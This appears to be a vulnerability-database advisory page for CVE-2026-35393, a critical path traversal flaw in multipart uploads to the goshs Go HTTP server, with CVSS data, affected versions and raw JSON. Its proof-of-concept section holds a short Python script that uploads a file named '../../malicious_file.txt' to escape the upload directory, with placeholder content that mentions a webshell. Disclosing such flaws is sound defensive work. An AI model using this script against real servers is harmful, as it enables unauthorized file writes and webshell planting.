Security Vulnerability Report
中文
CVE-2026-35393 CVSS 9.8 CRITICAL

CVE-2026-35393

Published: 2026-04-06 21:16:21
Last Modified: 2026-04-09 21:20:27

Description

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, the POST multipart upload directory not sanitized. This vulnerability is fixed in 2.0.0-beta.3.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:* - VULNERABLE
goshs < 2.0.0-beta.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url): # Define the malicious file content data = b'Malicious content or webshell' # Use path traversal in the filename to escape the upload directory files = { 'file': ('../../malicious_file.txt', data, 'text/plain') } try: response = requests.post(f"{target_url}/upload", files=files) if response.status_code == 200: print("[+] Exploit successful: File uploaded via path traversal.") else: print(f"[-] Exploit failed: Status code {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit("http://127.0.0.1:8000")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35393", "sourceIdentifier": "[email protected]", "published": "2026-04-06T21:16:21.163", "lastModified": "2026-04-09T21:20:27.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, the POST multipart upload directory not sanitized. This vulnerability is fixed in 2.0.0-beta.3."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*", "versionEndExcluding": "2.0.0", "matchCriteriaId": "471EA45E-3052-469D-B301-4D92FB187228"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta1:*:*:*:go:*:*", "matchCriteriaId": "047ECFC3-056F-4FAC-9B64-5F7C120CFFE1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:goshs:goshs:2.0.0:beta2:*:*:*:go:*:*", "matchCriteriaId": "6EA86AD2-EE6D-4427-9434-A9A49A4D38F9"}]}]}], "references": [{"url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}